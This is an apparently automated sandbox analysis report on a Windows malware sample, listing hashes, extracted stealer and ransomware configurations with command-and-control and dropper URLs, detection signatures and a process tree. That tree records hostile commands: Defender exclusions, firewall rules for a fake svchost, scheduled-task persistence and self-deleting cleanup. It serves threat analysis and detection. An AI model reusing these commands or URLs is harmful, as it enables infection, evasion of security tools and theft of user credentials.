Resubmissions
21-10-2021 11:49
211021-nzczcsacb2 1020-10-2021 14:55
211020-sagcpshbf9 1019-10-2021 14:57
211019-sb3bkaghgn 1019-10-2021 14:24
211019-rqq2eagab5 10Analysis
-
max time kernel
451s -
max time network
2703s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
19-10-2021 14:57
General
-
Target
malware.exe
-
Size
11.9MB
-
MD5
5544ca0d55ecf9e4f1a738f01bcebe84
-
SHA1
54cf5562fd1e992baff6060f5262cecf5449fe1c
-
SHA256
37aa2beb667b66b5b548722f4a5b7c72d01b191c538e4ad1acb9467cbc5d8727
-
SHA512
676bd327e881bfea4134e60c97cf67fb500dc261d2e3515762ed098e9e56eb558fbec159a1af593aafcdb53f4892e33a5a28fe895be89a9f90c340cde68ba71f
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Extracted
Family
raccoon
Botnet
2f2ad1a1aa093c5a9d17040c8efd5650a99640b5
Attributes
-
url4cnc
http://telegatt.top/oh12manymarty
http://telegka.top/oh12manymarty
http://telegin.top/oh12manymarty
https://t.me/oh12manymarty
rc4.plain
rc4.plain
Extracted
Family
vidar
Version
41.5
Botnet
937
C2
https://mas.to/@xeroxxx
Attributes
-
profile_id
937
Extracted
Family
vidar
Version
41.5
Botnet
1028
C2
https://mas.to/@xeroxxx
Attributes
-
profile_id
1028
Extracted
Family
raccoon
Botnet
a06a98982bae8443ba3531b93da56215a757d3d5
Attributes
-
url4cnc
http://telegatt.top/oushthenextg
http://telegka.top/oushthenextg
http://telegin.top/oushthenextg
https://t.me/oushthenextg
rc4.plain
rc4.plain
Extracted
Family
djvu
C2
http://rlrz.org/lancer
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
-
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE ClipBanker Variant Activity (POST)
suricata: ET MALWARE ClipBanker Variant Activity (POST)
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Win32/AZORult V3.3 Client Checkin M18
suricata: ET MALWARE Win32/AZORult V3.3 Client Checkin M18
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 3 IoCs
-
ASPack v2.12-2.42 7 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 13 IoCs
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Checks BIOS information in registry 2 TTPs 44 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 8 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 64 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 14 IoCs
Detects Themida, an advanced Windows software protection system.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 22 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 21 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 13 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 17 IoCs
-
Suspicious use of SetThreadContext 9 IoCs
-
Drops file in Program Files directory 17 IoCs
-
Drops file in Windows directory 13 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 8 IoCs
-
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 13 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 3 IoCs
-
Download via BitsAdmin 1 TTPs 2 IoCs
-
Kills process with taskkill 20 IoCs
-
Modifies Internet Explorer settings 1 TTPs 3 IoCs
-
Modifies data under HKEY_USERS 16 IoCs
-
Modifies registry class 64 IoCs
-
Modifies registry key 1 TTPs 2 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 4 IoCs
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
-
Suspicious behavior: MapViewOfSection 3 IoCs
-
Suspicious behavior: SetClipboardViewer 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 8 IoCs
-
Suspicious use of SetWindowsHookEx 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
-
C:\Users\Admin\AppData\Roaming\uvadbtbC:\Users\Admin\AppData\Roaming\uvadbtb2⤵
-
C:\Users\Admin\AppData\Roaming\uvadbtbC:\Users\Admin\AppData\Roaming\uvadbtb3⤵
-
C:\Users\Admin\AppData\Roaming\rgadbtbC:\Users\Admin\AppData\Roaming\rgadbtb2⤵
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"4⤵
- Loads dropped DLL
- Creates scheduled task(s)
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\uvadbtbC:\Users\Admin\AppData\Roaming\uvadbtb2⤵
-
C:\Users\Admin\AppData\Roaming\uvadbtbC:\Users\Admin\AppData\Roaming\uvadbtb3⤵
-
C:\Users\Admin\AppData\Roaming\rgadbtbC:\Users\Admin\AppData\Roaming\rgadbtb2⤵
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
-
C:\Users\Admin\AppData\Roaming\dfadbtbC:\Users\Admin\AppData\Roaming\dfadbtb2⤵
-
C:\Users\Admin\AppData\Roaming\uradbtbC:\Users\Admin\AppData\Roaming\uradbtb2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Users\Admin\AppData\Local\2209492a-d66e-4f81-a995-bc9456a39b6c\A41C.exeC:\Users\Admin\AppData\Local\2209492a-d66e-4f81-a995-bc9456a39b6c\A41C.exe --Task2⤵
-
C:\Users\Admin\AppData\Local\2209492a-d66e-4f81-a995-bc9456a39b6c\A41C.exeC:\Users\Admin\AppData\Local\2209492a-d66e-4f81-a995-bc9456a39b6c\A41C.exe --Task3⤵
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
-
C:\Users\Admin\AppData\Roaming\dfadbtbC:\Users\Admin\AppData\Roaming\dfadbtb2⤵
-
C:\Users\Admin\AppData\Roaming\uradbtbC:\Users\Admin\AppData\Roaming\uradbtb2⤵
-
C:\Users\Admin\AppData\Roaming\uvadbtbC:\Users\Admin\AppData\Roaming\uvadbtb2⤵
-
C:\Users\Admin\AppData\Roaming\rgadbtbC:\Users\Admin\AppData\Roaming\rgadbtb2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
-
C:\Users\Admin\AppData\Local\2209492a-d66e-4f81-a995-bc9456a39b6c\A41C.exeC:\Users\Admin\AppData\Local\2209492a-d66e-4f81-a995-bc9456a39b6c\A41C.exe --Task2⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
-
C:\Users\Admin\AppData\Roaming\rgadbtbC:\Users\Admin\AppData\Roaming\rgadbtb2⤵
-
C:\Users\Admin\AppData\Roaming\uradbtbC:\Users\Admin\AppData\Roaming\uradbtb2⤵
-
C:\Users\Admin\AppData\Roaming\dfadbtbC:\Users\Admin\AppData\Roaming\dfadbtb2⤵
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\malware.exe"C:\Users\Admin\AppData\Local\Temp\malware.exe"1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\CrowdInspect.exe"C:\Users\Admin\Desktop\CrowdInspect.exe"1⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\CrowdInspect64.exe"C:\Users\Admin\Desktop\CrowdInspect64.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Новый текстовый документ.txt1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\City_Car_Driving_Version_2_2_serial_number_keygen_by_aaocg.exe"C:\Users\Admin\Desktop\City_Car_Driving_Version_2_2_serial_number_keygen_by_aaocg.exe"1⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Crack.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Crack.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\md1_1eaf.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\md1_1eaf.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\DownFlSetup133.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\DownFlSetup133.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\4639822.exe"C:\Users\Admin\AppData\Roaming\4639822.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\2924152.exe"C:\Users\Admin\AppData\Roaming\2924152.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\6120828.exe"C:\Users\Admin\AppData\Roaming\6120828.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\8787609.exe"C:\Users\Admin\AppData\Roaming\8787609.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\7503424.exe"C:\Users\Admin\AppData\Roaming\7503424.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\6189554.exe"C:\Users\Admin\AppData\Roaming\6189554.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\pub1.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\pub1.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\low.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\low.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Install.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exekeygen-step-6.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exe" >> NUL4⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\Setup.exe"C:\Users\Admin\Desktop\Setup.exe"1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\Adobe Films\W8EjwAjsi3zFHp_O5IgjQTqX.exe"C:\Users\Admin\Pictures\Adobe Films\W8EjwAjsi3zFHp_O5IgjQTqX.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\QyPwot4QIN3DyCJqH3uWauR6.exe"C:\Users\Admin\Pictures\Adobe Films\QyPwot4QIN3DyCJqH3uWauR6.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2328 -s 15283⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\rOa7Med5tUaEVSeLw_3RQa3S.exe"C:\Users\Admin\Pictures\Adobe Films\rOa7Med5tUaEVSeLw_3RQa3S.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3208 -s 15323⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\4uXq3GhA2yYG7l00zi_5YFml.exe"C:\Users\Admin\Pictures\Adobe Films\4uXq3GhA2yYG7l00zi_5YFml.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\N6nJ3oy_c9uGXimEU1sNmAbl.exe"C:\Users\Admin\Pictures\Adobe Films\N6nJ3oy_c9uGXimEU1sNmAbl.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\T2UiPt34sglBDN9PkMPgGQ56.exe"C:\Users\Admin\Documents\T2UiPt34sglBDN9PkMPgGQ56.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\y9_luMJjfyhqSStaRQoTk8V0.exe"C:\Users\Admin\Pictures\Adobe Films\y9_luMJjfyhqSStaRQoTk8V0.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\geOjkJ0mVcduzvKZWwFgVYyf.exe"C:\Users\Admin\Pictures\Adobe Films\geOjkJ0mVcduzvKZWwFgVYyf.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\bjyRnujXh1haC_5HICHJri7j.exe"C:\Users\Admin\Pictures\Adobe Films\bjyRnujXh1haC_5HICHJri7j.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\3⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM3⤵
- Creates scheduled task(s)
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Users\Admin\Pictures\Adobe Films\mqSrAqHFMGt7EAO9C4kKycar.exe"C:\Users\Admin\Pictures\Adobe Films\mqSrAqHFMGt7EAO9C4kKycar.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\B1cQEjfN5wvIYW9wsbF3Mipy.exe"C:\Users\Admin\Pictures\Adobe Films\B1cQEjfN5wvIYW9wsbF3Mipy.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\BVmvoWdUrHGF9M0d_Eo5ELvM.exe"C:\Users\Admin\Pictures\Adobe Films\BVmvoWdUrHGF9M0d_Eo5ELvM.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Company\NewProduct\inst3.exe"C:\Program Files (x86)\Company\NewProduct\inst3.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\R6FvEeAMzuG1FGXNrudfSjbH.exe"C:\Users\Admin\Pictures\Adobe Films\R6FvEeAMzuG1FGXNrudfSjbH.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\MfR5P3jtbVt2lnIZPTc_I1w1.exe"C:\Users\Admin\Pictures\Adobe Films\MfR5P3jtbVt2lnIZPTc_I1w1.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\MfR5P3jtbVt2lnIZPTc_I1w1.exe"C:\Users\Admin\Pictures\Adobe Films\MfR5P3jtbVt2lnIZPTc_I1w1.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\y_QaUUThIYKqSe5cUViDSYMb.exe"C:\Users\Admin\Pictures\Adobe Films\y_QaUUThIYKqSe5cUViDSYMb.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\oDgBhLX9H2wUXa4t35viNJ5_.exe"C:\Users\Admin\Pictures\Adobe Films\oDgBhLX9H2wUXa4t35viNJ5_.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\YEB_JgasjnRYhFUnFKmSY0AB.exe"C:\Users\Admin\Pictures\Adobe Films\YEB_JgasjnRYhFUnFKmSY0AB.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 6603⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 6723⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 7083⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 7083⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\USAUkIeyEMXxC37_VirxwDso.exe"C:\Users\Admin\Pictures\Adobe Films\USAUkIeyEMXxC37_VirxwDso.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\USAUkIeyEMXxC37_VirxwDso.exe"C:\Users\Admin\Pictures\Adobe Films\USAUkIeyEMXxC37_VirxwDso.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\ypFHd8JXVHsHFi1sHWSBSDc8.exe"C:\Users\Admin\Pictures\Adobe Films\ypFHd8JXVHsHFi1sHWSBSDc8.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\WsKBEzuxaPjQpYj11ghzQynd.exe"C:\Users\Admin\Pictures\Adobe Films\WsKBEzuxaPjQpYj11ghzQynd.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\fzUe5uYYwWRli9uqh43zt8g5.exe"C:\Users\Admin\Pictures\Adobe Films\fzUe5uYYwWRli9uqh43zt8g5.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
